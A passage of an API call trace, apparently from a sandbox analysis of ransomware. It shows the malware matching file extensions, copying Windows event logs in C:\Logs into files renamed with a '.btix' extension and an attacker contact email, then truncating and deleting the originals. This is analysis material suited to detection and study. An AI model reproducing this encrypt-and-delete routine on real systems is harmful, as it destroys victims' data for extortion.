returned -1 [0051.343] lstrlenW (lpString=".rar") returned 4 [0051.343] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.343] lstrlenW (lpString=".bz2") returned 4 [0051.343] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.343] lstrlenW (lpString=".7z") returned 3 [0051.343] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0051.343] lstrlenW (lpString=".dbf") returned 4 [0051.343] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0051.343] lstrlenW (lpString=".1cd") returned 4 [0051.343] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.343] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0051.343] lstrlenW (lpString=".jpg") returned 4 [0051.343] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.343] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.343] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46 [0051.343] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.343] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0051.343] CloseHandle (hObject=0x364) returned 1 [0051.344] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0051.344] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.344] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.344] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.344] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.344] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0051.344] GetLastError () returned 0x0 [0051.344] ReadFile (in: hFile=0x364, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.374] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.376] ReadFile (in: hFile=0x364, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.376] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x130, lpOverlapped=0x0) returned 1 [0051.376] SetEndOfFile (hFile=0x368) returned 1 [0051.376] CloseHandle (hObject=0x368) returned 1 [0051.378] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.378] SetEndOfFile (hFile=0x364) returned 1 [0051.379] CloseHandle (hObject=0x364) returned 1 [0051.379] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.379] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1 [0051.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0051.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0051.386] lstrlenW (lpString=".doc") returned 4 [0051.386] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.386] lstrlenW (lpString=".docx") returned 5 [0051.386] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.386] lstrlenW (lpString=".pdf") returned 4 [0051.386] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.386] lstrlenW (lpString=".xls") returned 4 [0051.386] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.386] lstrlenW (lpString=".xlsx") returned 5 [0051.386] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.386] lstrlenW (lpString=".ppt") returned 4 [0051.386] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0051.386] lstrlenW (lpString=".zip") returned 4 [0051.386] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.386] lstrlenW (lpString=".rar") returned 4 [0051.386] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.386] lstrlenW (lpString=".bz2") returned 4 [0051.386] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.386] lstrlenW (lpString=".7z") returned 3 [0051.386] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0051.386] lstrlenW (lpString=".dbf") returned 4 [0051.386] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0051.386] lstrlenW (lpString=".1cd") returned 4 [0051.386] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0051.386] lstrlenW (lpString=".jpg") returned 4 [0051.386] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0051.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0051.387] lstrlenW (lpString=".doc") returned 4 [0051.387] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.387] lstrlenW (lpString=".docx") returned 5 [0051.387] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.387] lstrlenW (lpString=".pdf") returned 4 [0051.387] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.387] lstrlenW (lpString=".xls") returned 4 [0051.387] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.387] lstrlenW (lpString=".xlsx") returned 5 [0051.387] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.387] lstrlenW (lpString=".ppt") returned 4 [0051.387] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0051.387] lstrlenW (lpString=".zip") returned 4 [0051.387] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.387] lstrlenW (lpString=".rar") returned 4 [0051.387] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.387] lstrlenW (lpString=".bz2") returned 4 [0051.387] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.387] lstrlenW (lpString=".7z") returned 3 [0051.387] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0051.387] lstrlenW (lpString=".dbf") returned 4 [0051.387] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0051.387] lstrlenW (lpString=".1cd") returned 4 [0051.387] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0051.387] lstrlenW (lpString=".jpg") returned 4 [0051.388] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.388] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.388] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47 [0051.388] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0051.390] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0051.390] CloseHandle (hObject=0x368) returned 1 [0051.390] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0051.390] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.395] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.395] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.395] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.395] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.409] GetLastError () returned 0x0 [0051.410] ReadFile (in: hFile=0x388, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.606] WriteFile (in: hFile=0x364, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.607] ReadFile (in: hFile=0x388, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.607] WriteFile (in: hFile=0x364, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x132, lpOverlapped=0x0) returned 1 [0051.607] SetEndOfFile (hFile=0x364) returned 1 [0051.613] CloseHandle (hObject=0x364) returned 1 [0051.614] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.614] SetEndOfFile (hFile=0x388) returned 1 [0051.615] CloseHandle (hObject=0x388) returned 1 [0051.616] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.616] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0051.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0051.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0051.616] lstrlenW (lpString=".doc") returned 4 [0051.616] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.616] lstrlenW (lpString=".docx") returned 5 [0051.616] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.616] lstrlenW (lpString=".pdf") returned 4 [0051.616] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.616] lstrlenW (lpString=".xls") returned 4 [0051.616] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.616] lstrlenW (lpString=".xlsx") returned 5 [0051.616] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.616] lstrlenW (lpString=".ppt") returned 4 [0051.616] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0051.616] lstrlenW (lpString=".zip") returned 4 [0051.616] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.617] lstrlenW (lpString=".rar") returned 4 [0051.617] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.617] lstrlenW (lpString=".bz2") returned 4 [0051.617] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.617] lstrlenW (lpString=".7z") returned 3 [0051.617] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0051.617] lstrlenW (lpString=".dbf") returned 4 [0051.617] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0051.617] lstrlenW (lpString=".1cd") returned 4 [0051.617] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0051.617] lstrlenW (lpString=".jpg") returned 4 [0051.617] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0051.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0051.617] lstrlenW (lpString=".doc") returned 4 [0051.617] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.617] lstrlenW (lpString=".docx") returned 5 [0051.617] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.617] lstrlenW (lpString=".pdf") returned 4 [0051.617] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.617] lstrlenW (lpString=".xls") returned 4 [0051.617] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.617] lstrlenW (lpString=".xlsx") returned 5 [0051.617] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.617] lstrlenW (lpString=".ppt") returned 4 [0051.617] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.618] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0051.618] lstrlenW (lpString=".zip") returned 4 [0051.618] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.618] lstrlenW (lpString=".rar") returned 4 [0051.618] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.618] lstrlenW (lpString=".bz2") returned 4 [0051.618] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.618] lstrlenW (lpString=".7z") returned 3 [0051.618] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.618] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0051.618] lstrlenW (lpString=".dbf") returned 4 [0051.618] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.618] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0051.618] lstrlenW (lpString=".1cd") returned 4 [0051.618] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.618] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0051.618] lstrlenW (lpString=".jpg") returned 4 [0051.618] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.618] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.618] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46 [0051.619] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.619] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0051.619] CloseHandle (hObject=0x388) returned 1 [0051.619] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0051.619] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.619] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.619] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.619] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.619] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.619] GetLastError () returned 0x0 [0051.619] ReadFile (in: hFile=0x388, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.636] WriteFile (in: hFile=0x364, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.637] ReadFile (in: hFile=0x388, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.638] WriteFile (in: hFile=0x364, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x130, lpOverlapped=0x0) returned 1 [0051.638] SetEndOfFile (hFile=0x364) returned 1 [0051.638] CloseHandle (hObject=0x364) returned 1 [0051.640] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.640] SetEndOfFile (hFile=0x388) returned 1 [0051.641] CloseHandle (hObject=0x388) returned 1 [0051.641] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.641] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0051.641] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0051.641] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0051.641] lstrlenW (lpString=".doc") returned 4 [0051.641] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.642] lstrlenW (lpString=".docx") returned 5 [0051.642] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.642] lstrlenW (lpString=".pdf") returned 4 [0051.642] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.642] lstrlenW (lpString=".xls") returned 4 [0051.642] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.642] lstrlenW (lpString=".xlsx") returned 5 [0051.642] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.642] lstrlenW (lpString=".ppt") returned 4 [0051.642] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.642] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0051.642] lstrlenW (lpString=".zip") returned 4 [0051.642] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.642] lstrlenW (lpString=".rar") returned 4 [0051.642] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.642] lstrlenW (lpString=".bz2") returned 4 [0051.642] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.642] lstrlenW (lpString=".7z") returned 3 [0051.642] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.642] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0051.642] lstrlenW (lpString=".dbf") returned 4 [0051.642] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.642] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0051.642] lstrlenW (lpString=".1cd") returned 4 [0051.642] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.642] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0051.642] lstrlenW (lpString=".jpg") returned 4 [0051.642] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.642] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0051.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0051.643] lstrlenW (lpString=".doc") returned 4 [0051.643] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.643] lstrlenW (lpString=".docx") returned 5 [0051.643] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.643] lstrlenW (lpString=".pdf") returned 4 [0051.643] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.643] lstrlenW (lpString=".xls") returned 4 [0051.643] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.643] lstrlenW (lpString=".xlsx") returned 5 [0051.643] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.643] lstrlenW (lpString=".ppt") returned 4 [0051.643] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0051.643] lstrlenW (lpString=".zip") returned 4 [0051.643] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.643] lstrlenW (lpString=".rar") returned 4 [0051.643] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.643] lstrlenW (lpString=".bz2") returned 4 [0051.643] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.643] lstrlenW (lpString=".7z") returned 3 [0051.643] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0051.643] lstrlenW (lpString=".dbf") returned 4 [0051.643] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0051.643] lstrlenW (lpString=".1cd") returned 4 [0051.643] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0051.643] lstrlenW (lpString=".jpg") returned 4 [0051.643] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.644] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.644] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45 [0051.644] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0051.644] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0051.644] CloseHandle (hObject=0x388) returned 1 [0051.644] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0051.644] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.644] CreateFileW 